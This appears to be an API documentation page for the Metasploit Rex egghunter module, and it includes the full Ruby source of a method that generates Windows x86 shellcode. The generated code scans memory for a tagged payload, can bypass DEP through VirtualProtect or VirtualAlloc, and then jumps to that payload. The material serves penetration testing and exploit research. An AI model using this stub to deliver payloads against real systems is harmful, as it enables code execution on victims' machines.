Module: Rex::Exploitation::Egghunter::Windows::X86

Defined in:
lib/rex/exploitation/egghunter.rb

Constant Summary collapse

Alias =
ARCH_X86

Instance Method Summary collapse

Instance Method Details

#hunter_stub(payload, badchars = '', opts = {}) ⇒ Object

The egg hunter stub for win/x86.

Raises:


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# File 'lib/rex/exploitation/egghunter.rb', line 44

def hunter_stub(payload, badchars = '', opts = {})

  startreg      = opts[:startreg]
  searchforward = opts[:searchforward]

  raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
  marker = "0x%x" % opts[:eggtag].unpack('V').first

  checksum = checksum_stub(payload, badchars, opts)

  startstub = ''
  if startreg
    if startreg.downcase != 'edx'
      startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr"
    else
      startstub = "\n\tjmp next_addr"
    end
  end
  startstub << "\n\t" if startstub.length > 0

  # search forward or backward ?
  flippage = "\n\tor dx,0xfff"
  edxdirection = "\n\tinc edx"

  if searchforward
    if searchforward.to_s.downcase == 'false'
      # go backwards
      flippage = "\n\txor dl,dl"
      edxdirection = "\n\tdec edx"
    end
  end

  # other vars
  getpointer   = ''
  getsize      = ''
  getalloctype = ''
  getpc        = ''
  jmppayload   = "jmp edi"

  apireg = opts[:depreg] || 'esi'
  apidest = opts[:depdest]
  depsize = opts[:depsize]

  freeregs = [ "esi", "ebp", "ecx", "ebx" ]

  reginfo = {
    "ebx"=>["bx","bl","bh"],
    "ecx"=>["cx","cl","ch"]
  }

  if opts[:depmethod]

    if freeregs.index(apireg) == nil
      getpointer << "mov #{freeregs[0]},#{apireg}\n\t"
      apireg = freeregs[0]
    end
    freeregs.delete(apireg)

    if opts[:depmethod].downcase == "virtualalloc"
      depsize = 0xfff
    end

    if opts[:depmethod].downcase == "copy" || opts[:depmethod].downcase == "copy_size"
      if apidest
        if freeregs.index(apidest) == nil
          getpointer << "mov #{freeregs[0]},#{apidest}\n\t"
          apidest = freeregs[0]
        end
      else
        getpc = "fldpi\n\tfstenv [esp-0xc]\n\tpop #{freeregs[0]}\n\t"
        apidest = freeregs[0]
      end
      freeregs.delete(apidest)
    end


    sizereg = freeregs[0]

    if not depsize
      depsize = payload.length * 2
      if opts[:depmethod]
        if opts[:depmethod].downcase == "copy_size"
          depsize = payload.length
        end
      end
    end

    if depsize <= 127
      getsize << "push 0x%02x\n\t" % depsize
    else
      sizebytes = "%04x" % depsize
      low = sizebytes[2,4]
      high = sizebytes[0,2]
      if sizereg == "ecx" || sizereg == "ebx"
        regvars = reginfo[sizereg]
        getsize << "xor #{sizereg},#{sizereg}\n\t"
        if low != "00" and high != "00"
          getsize << "mov #{regvars[0]},0x%s\n\t" % sizebytes
        elsif low != "00"
          getsize << "mov #{regvars[1]},0x%s\n\t" % low
        elsif high != "00"
          getsize << "mov #{regvars[2]},0x%s\n\t" % high
        end
      end
      if sizereg == "ebp"
        if low != "00" and high != "00"
          getsize << "xor #{sizereg},#{sizereg}\n\t"
          getsize << "mov bp,0x%s\n\t" % sizebytes
        end
      end
      # last resort
      if getsize == ''
        blockcnt = 0
        vpsize = 0
        blocksize = depsize
        while blocksize > 127
          blocksize = blocksize / 2
          blockcnt += 1
        end
        getsize << "xor #{sizereg},#{sizereg}\n\tadd #{sizereg},0x%02x\n\t" % blocksize
        vpsize = blocksize
        depblockcnt = 0
        while depblockcnt < blockcnt
          getsize << "add #{sizereg},#{sizereg}\n\t"
          vpsize += vpsize
          depblockcnt += 1
        end
        delta = depsize - vpsize
        if delta > 0
          getsize << "add #{sizereg},0x%02x\n\t" % delta
        end
      end
      if opts[:depmethod].downcase == "virtualalloc"
        getsize << "inc #{sizereg}\n\t"
      end

      getsize << "push #{sizereg}\n\t"

    end

    getalloctype = getsize

    case opts[:depmethod].downcase
      when "virtualprotect"
        jmppayload = "push esp\n\tpush 0x40\n\t"
        jmppayload << getsize
        jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
      when "virtualalloc"
        jmppayload = "push 0x40\n\t"
        jmppayload << getalloctype
        jmppayload << "push 0x01\n\t"
        jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
      when "copy"
        jmppayload = getpc
        jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
      when "copy_size"
        jmppayload = getpc
        jmppayload << getsize
        jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
    end
  end

  jmppayload << "\n" if jmppayload.length > 0

  assembly = <<EOS
#{getpointer}
#{startstub}
check_readable:
  #{flippage}
next_addr:
  #{edxdirection}
  push edx
  push 0x02   ; use NtAccessCheckAndAuditAlarm syscall
  pop eax
  int 0x2e
  cmp al,5
  pop edx
  je check_readable
check_for_tag:
  ; check that the tag matches once
  mov eax,#{marker}
  mov edi,edx
  scasd
  jne next_addr
  ; it must match a second time too
  scasd
  jne next_addr
  ; check the checksum if the feature is enabled
#{checksum}
  ; jump to the payload
  #{jmppayload}
EOS

  assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string

  # return the stub
  assembled_code
end